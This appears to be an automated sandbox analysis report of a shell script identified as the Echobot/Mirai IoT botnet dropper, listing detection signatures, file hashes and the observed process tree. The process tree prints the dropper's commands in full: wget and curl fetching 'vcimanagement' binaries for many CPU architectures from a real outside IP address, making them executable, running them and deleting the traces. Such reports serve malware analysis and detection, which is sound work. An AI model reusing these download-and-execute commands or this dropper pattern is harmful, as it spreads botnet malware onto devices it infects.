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Analysis

  • max time kernel
    125s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    30/12/2024, 07:14

General

  • Target

    huh.sh

  • Size

    3KB

  • MD5

    05f3e94487bf02c65f08cbed72943ce0

  • SHA1

    db0a369df0887febacb3800f4c6f0b81a1f68351

  • SHA256

    ec46f105b049d6674acbf45639883623f2f1cb3eed50eedb4b0e25a27a7b67e2

  • SHA512

    bff1d19601df17262771b83212db7a2955bf0882637fc2482e26625a09d294e3f46198049307f4fd2c9f46079b5c4eead5ed0ed0d2db2e33dfb14164ef1f6ac3

Malware Config

Signatures

  • Detected Echobot 5 IoCs
  • Echobot

    An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.

  • Echobot family
  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (139057) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 39 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/huh.sh
    /tmp/huh.sh
    1⤵
    • Writes file to tmp directory
    PID:702
    • /usr/bin/wget
      wget http://92.118.56.203/bins/vcimanagement.x86
      2⤵
      • Writes file to tmp directory
      PID:704
    • /usr/bin/curl
      curl -O http://92.118.56.203/bins/vcimanagement.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:725
    • /bin/cat
      cat vcimanagement.x86
      2⤵
        PID:731
      • /bin/chmod
        chmod +x SSH-scanner huh.sh vcimanagement.x86
        2⤵
        • File and Directory Permissions Modification
        PID:736
      • /tmp/SSH-scanner
        ./SSH-scanner
        2⤵
        • Executes dropped EXE
        PID:737
      • /bin/rm
        rm -rf SSH-scanner huh.sh vcimanagement.x86
        2⤵
          PID:739
        • /usr/bin/wget
          wget http://92.118.56.203/bins/vcimanagement.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /usr/bin/curl
          curl -O http://92.118.56.203/bins/vcimanagement.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/cat
          cat vcimanagement.mips
          2⤵
          • System Network Configuration Discovery
          PID:742
        • /bin/chmod
          chmod +x SSH-scanner vcimanagement.mips
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/SSH-scanner
          ./SSH-scanner
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm -rf SSH-scanner vcimanagement.mips
          2⤵
          • System Network Configuration Discovery
          PID:746
        • /usr/bin/wget
          wget http://92.118.56.203/bins/vcimanagement.mpsl
          2⤵
          • Writes file to tmp directory
          PID:747
        • /usr/bin/curl
          curl -O http://92.118.56.203/bins/vcimanagement.mpsl
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:772
        • /bin/cat
          cat vcimanagement.mpsl
          2⤵
            PID:784
          • /bin/chmod
            chmod +x SSH-scanner vcimanagement.mpsl
            2⤵
            • File and Directory Permissions Modification
            PID:786
          • /tmp/SSH-scanner
            ./SSH-scanner
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:788
          • /bin/rm
            rm -rf SSH-scanner vcimanagement.mpsl
            2⤵
              PID:793
            • /usr/bin/wget
              wget http://92.118.56.203/bins/vcimanagement.arm
              2⤵
              • Writes file to tmp directory
              PID:800
            • /usr/bin/curl
              curl -O http://92.118.56.203/bins/vcimanagement.arm
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:808
            • /bin/cat
              cat vcimanagement.arm
              2⤵
                PID:809
              • /bin/chmod
                chmod +x SSH-scanner vcimanagement.arm
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/SSH-scanner
                ./SSH-scanner
                2⤵
                • Executes dropped EXE
                PID:811
              • /bin/rm
                rm -rf SSH-scanner vcimanagement.arm
                2⤵
                  PID:813
                • /usr/bin/wget
                  wget http://92.118.56.203/bins/vcimanagement.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:814
                • /usr/bin/curl
                  curl -O http://92.118.56.203/bins/vcimanagement.arm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:815
                • /bin/cat
                  cat vcimanagement.arm5
                  2⤵
                    PID:818
                  • /bin/chmod
                    chmod +x SSH-scanner vcimanagement.arm5
                    2⤵
                    • File and Directory Permissions Modification
                    PID:819
                  • /tmp/SSH-scanner
                    ./SSH-scanner
                    2⤵
                    • Executes dropped EXE
                    PID:820
                  • /bin/rm
                    rm -rf SSH-scanner vcimanagement.arm5
                    2⤵
                      PID:822
                    • /usr/bin/wget
                      wget http://92.118.56.203/bins/vcimanagement.arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:823
                    • /usr/bin/curl
                      curl -O http://92.118.56.203/bins/vcimanagement.arm6
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:826
                    • /bin/cat
                      cat vcimanagement.arm6
                      2⤵
                        PID:835
                      • /bin/chmod
                        chmod +x SSH-scanner vcimanagement.arm6
                        2⤵
                        • File and Directory Permissions Modification
                        PID:837
                      • /tmp/SSH-scanner
                        ./SSH-scanner
                        2⤵
                        • Executes dropped EXE
                        PID:838
                      • /bin/rm
                        rm -rf SSH-scanner vcimanagement.arm6
                        2⤵
                          PID:840
                        • /usr/bin/wget
                          wget http://92.118.56.203/bins/vcimanagement.arm7
                          2⤵
                          • Writes file to tmp directory
                          PID:841
                        • /usr/bin/curl
                          curl -O http://92.118.56.203/bins/vcimanagement.arm7
                          2⤵
                          • Reads runtime system information
                          PID:864
                        • /bin/cat
                          cat vcimanagement.arm7
                          2⤵
                            PID:868
                          • /bin/chmod
                            chmod +x SSH-scanner vcimanagement.arm7
                            2⤵
                            • File and Directory Permissions Modification
                            PID:869
                          • /tmp/SSH-scanner
                            ./SSH-scanner
                            2⤵
                            • Executes dropped EXE
                            PID:870
                          • /bin/rm
                            rm -rf SSH-scanner vcimanagement.arm7
                            2⤵
                              PID:872
                            • /usr/bin/wget
                              wget http://92.118.56.203/bins/vcimanagement.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:873
                            • /usr/bin/curl
                              curl -O http://92.118.56.203/bins/vcimanagement.ppc
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:874
                            • /bin/cat
                              cat vcimanagement.ppc
                              2⤵
                                PID:875
                              • /bin/chmod
                                chmod +x SSH-scanner vcimanagement.ppc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:876
                              • /tmp/SSH-scanner
                                ./SSH-scanner
                                2⤵
                                • Executes dropped EXE
                                PID:877
                              • /bin/rm
                                rm -rf SSH-scanner vcimanagement.ppc
                                2⤵
                                  PID:879
                                • /usr/bin/wget
                                  wget http://92.118.56.203/bins/vcimanagement.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:880
                                • /usr/bin/curl
                                  curl -O http://92.118.56.203/bins/vcimanagement.m68k
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:885
                                • /bin/cat
                                  cat vcimanagement.m68k
                                  2⤵
                                    PID:886
                                  • /bin/chmod
                                    chmod +x SSH-scanner vcimanagement.m68k
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:887
                                  • /tmp/SSH-scanner
                                    ./SSH-scanner
                                    2⤵
                                    • Executes dropped EXE
                                    PID:888
                                  • /bin/rm
                                    rm -rf SSH-scanner vcimanagement.m68k
                                    2⤵
                                      PID:890
                                    • /usr/bin/wget
                                      wget http://92.118.56.203/bins/vcimanagement.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:891
                                    • /usr/bin/curl
                                      curl -O http://92.118.56.203/bins/vcimanagement.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:892
                                    • /bin/cat
                                      cat vcimanagement.sh4
                                      2⤵
                                        PID:896
                                      • /bin/chmod
                                        chmod +x SSH-scanner vcimanagement.sh4
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:897
                                      • /tmp/SSH-scanner
                                        ./SSH-scanner
                                        2⤵
                                        • Executes dropped EXE
                                        PID:898
                                      • /bin/rm
                                        rm -rf SSH-scanner vcimanagement.sh4
                                        2⤵
                                          PID:900
                                        • /usr/bin/wget
                                          wget http://92.118.56.203/bins/vcimanagement.spc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:901
                                        • /usr/bin/curl
                                          curl -O http://92.118.56.203/bins/vcimanagement.spc
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:902
                                        • /bin/cat
                                          cat vcimanagement.spc
                                          2⤵
                                            PID:903
                                          • /bin/chmod
                                            chmod +x SSH-scanner vcimanagement.spc
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:904
                                          • /tmp/SSH-scanner
                                            ./SSH-scanner
                                            2⤵
                                            • Executes dropped EXE
                                            PID:905
                                          • /bin/rm
                                            rm -rf SSH-scanner vcimanagement.spc
                                            2⤵
                                              PID:907
                                            • /usr/bin/wget
                                              wget http://92.118.56.203/bins/vcimanagement.arc
                                              2⤵
                                                PID:908
                                              • /usr/bin/curl
                                                curl -O http://92.118.56.203/bins/vcimanagement.arc
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:909
                                              • /bin/cat
                                                cat vcimanagement.arc
                                                2⤵
                                                  PID:910
                                                • /bin/chmod
                                                  chmod +x SSH-scanner vcimanagement.arc
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:911
                                                • /tmp/SSH-scanner
                                                  ./SSH-scanner
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:912
                                                • /bin/sh
                                                  /bin/sh ./SSH-scanner
                                                  2⤵
                                                    PID:912
                                                  • /bin/rm
                                                    rm -rf SSH-scanner vcimanagement.arc
                                                    2⤵
                                                      PID:913
                                                    • /usr/bin/wget
                                                      wget http://92.118.56.203/bins/vcimanagement.x86_64
                                                      2⤵
                                                        PID:914
                                                      • /usr/bin/curl
                                                        curl -O http://92.118.56.203/bins/vcimanagement.x86_64
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:915
                                                      • /bin/cat
                                                        cat vcimanagement.x86_64
                                                        2⤵
                                                          PID:916
                                                        • /bin/chmod
                                                          chmod +x SSH-scanner vcimanagement.x86_64
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:917
                                                        • /tmp/SSH-scanner
                                                          ./SSH-scanner
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:918
                                                        • /bin/sh
                                                          /bin/sh ./SSH-scanner
                                                          2⤵
                                                            PID:918
                                                          • /bin/rm
                                                            rm -rf SSH-scanner vcimanagement.x86_64
                                                            2⤵
                                                              PID:919
                                                            • /usr/bin/wget
                                                              wget http://92.118.56.203/bins/vcimanagement.i686
                                                              2⤵
                                                                PID:920
                                                              • /usr/bin/curl
                                                                curl -O http://92.118.56.203/bins/vcimanagement.i686
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:921
                                                              • /bin/cat
                                                                cat vcimanagement.i686
                                                                2⤵
                                                                  PID:925
                                                                • /bin/chmod
                                                                  chmod +x SSH-scanner vcimanagement.i686
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:926
                                                                • /tmp/SSH-scanner
                                                                  ./SSH-scanner
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:927
                                                                • /bin/sh
                                                                  /bin/sh ./SSH-scanner
                                                                  2⤵
                                                                    PID:927
                                                                  • /bin/rm
                                                                    rm -rf SSH-scanner vcimanagement.i686
                                                                    2⤵
                                                                      PID:928
                                                                    • /usr/bin/wget
                                                                      wget http://92.118.56.203/bins/vcimanagement.i486
                                                                      2⤵
                                                                        PID:929
                                                                      • /usr/bin/curl
                                                                        curl -O http://92.118.56.203/bins/vcimanagement.i486
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:930
                                                                      • /bin/cat
                                                                        cat vcimanagement.i486
                                                                        2⤵
                                                                          PID:931
                                                                        • /bin/chmod
                                                                          chmod +x SSH-scanner vcimanagement.i486
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:932
                                                                        • /tmp/SSH-scanner
                                                                          ./SSH-scanner
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:933
                                                                        • /bin/sh
                                                                          /bin/sh ./SSH-scanner
                                                                          2⤵
                                                                            PID:933
                                                                          • /bin/rm
                                                                            rm -rf SSH-scanner vcimanagement.i486
                                                                            2⤵
                                                                              PID:934
                                                                            • /usr/bin/wget
                                                                              wget http://92.118.56.203/bins/vcimanagement.mips64
                                                                              2⤵
                                                                              • System Network Configuration Discovery
                                                                              PID:935
                                                                            • /usr/bin/curl
                                                                              curl -O http://92.118.56.203/bins/vcimanagement.mips64
                                                                              2⤵
                                                                              • System Network Configuration Discovery
                                                                              PID:936

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

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                                                                          Downloads

                                                                          • /tmp/SSH-scanner

                                                                            Filesize

                                                                            87KB

                                                                            MD5

                                                                            e1d2b07cc74796f701ee2c7da4114520

                                                                            SHA1

                                                                            fc8dfac8b167a3308956e2d2b466774e857f73dc

                                                                            SHA256

                                                                            60f470aa3dec775781e35838c3ee224e5a4697d6169713fb8d1b2e95f8f5e1dd

                                                                            SHA512

                                                                            d3dc7c67cd604767f0066c7e9fdf7c19abf0c1f4634d32d778f36f89cafcbaaede486f59ac9c62433f05a117e88e552545aedaac399a1f8c46ff43c8562c717f

                                                                          • /tmp/SSH-scanner

                                                                            Filesize

                                                                            90KB

                                                                            MD5

                                                                            ab51b12ba18669bd5ca11a200c127117

                                                                            SHA1

                                                                            7ce4a0c8183ffdffa477fd2dcd77bc9381d14476

                                                                            SHA256

                                                                            4954ee06d2e03a9519fa80beca52dcc4897c3162f70463106af4771f13e95f58

                                                                            SHA512

                                                                            464d909c68287ff37e2f9d52dc412e42ce894267f3c718f68a6e625e812956889cc37c16e9d909ae431a831226a5e5b6cf217396db7b16d706a40d7e3169e0ab

                                                                          • /tmp/SSH-scanner

                                                                            Filesize

                                                                            70KB

                                                                            MD5

                                                                            a27f3dae35b0f8d557ed9a04b8fc72ab

                                                                            SHA1

                                                                            fe3093c25cab4b318aed07ffb7e8ee3b0b7e56a0

                                                                            SHA256

                                                                            44d1974dc0dcf7ce07da8b58c25844513ef7dd148e570e7601d61ddf740cade3

                                                                            SHA512

                                                                            22f77b88577315654240bdfbef3924eb2cfb763cb27bec1af1506fd4e3550eca77f111251a11dd4fd0d76d035febed6c66e77ee54d8d79531e8bba3e76f0f1f9

                                                                          • /tmp/SSH-scanner

                                                                            Filesize

                                                                            50KB

                                                                            MD5

                                                                            212f1abc7ac3043dbd2f9042fd82fd2b

                                                                            SHA1

                                                                            51127c4fa36189a94398ed4cef03c155ee210d86

                                                                            SHA256

                                                                            d9f599fa80b068ad77f18d7ff2793a1bd68b45555091a2985d04cb2316c6272c

                                                                            SHA512

                                                                            0241e425bb688bb315ae4f18c90f33b195219f493dfc92548b8a49441a6aaa964ede8dad30cb02b8bdb75380b0ecb92d954c1bf02a5667cb00be788ce66a6cac

                                                                          • /tmp/SSH-scanner

                                                                            Filesize

                                                                            142KB

                                                                            MD5

                                                                            62bccd72e7a0de6c1113dddfca73ef79

                                                                            SHA1

                                                                            181102c0613d62b94cd04b0adf32f780036b568a

                                                                            SHA256

                                                                            2a91bac7d2e2e93b22190178df4d3c04885c296751cd133edf2b311e46fbe8be

                                                                            SHA512

                                                                            4a4d14f3db9918518128b26f9b63cf2a1cb54637771873b8284e274af7bae0125ee07ea36f4c9aca37a182bf004b6695b4ce74c6f5458404430313086d761343

                                                                          • /tmp/vcimanagement.x86

                                                                            Filesize

                                                                            60KB

                                                                            MD5

                                                                            3c2a41675e076c76114cc43d3b6a3281

                                                                            SHA1

                                                                            2375b82a8cfcdc11c929d8d2f6a6a2f81fd8819a

                                                                            SHA256

                                                                            a0ea4d426ed6e804a64518998b09c24dbaab6b61ba6fb3e4dcdf080c258ea8fc

                                                                            SHA512

                                                                            07ea2aa38065eac7ccb6082b6924d5e147133a767de395470e7b8df567320fad2688d57bf59be40c19ea5abc551b1b6979d71bc892c0258bd13a715a6b49d9a4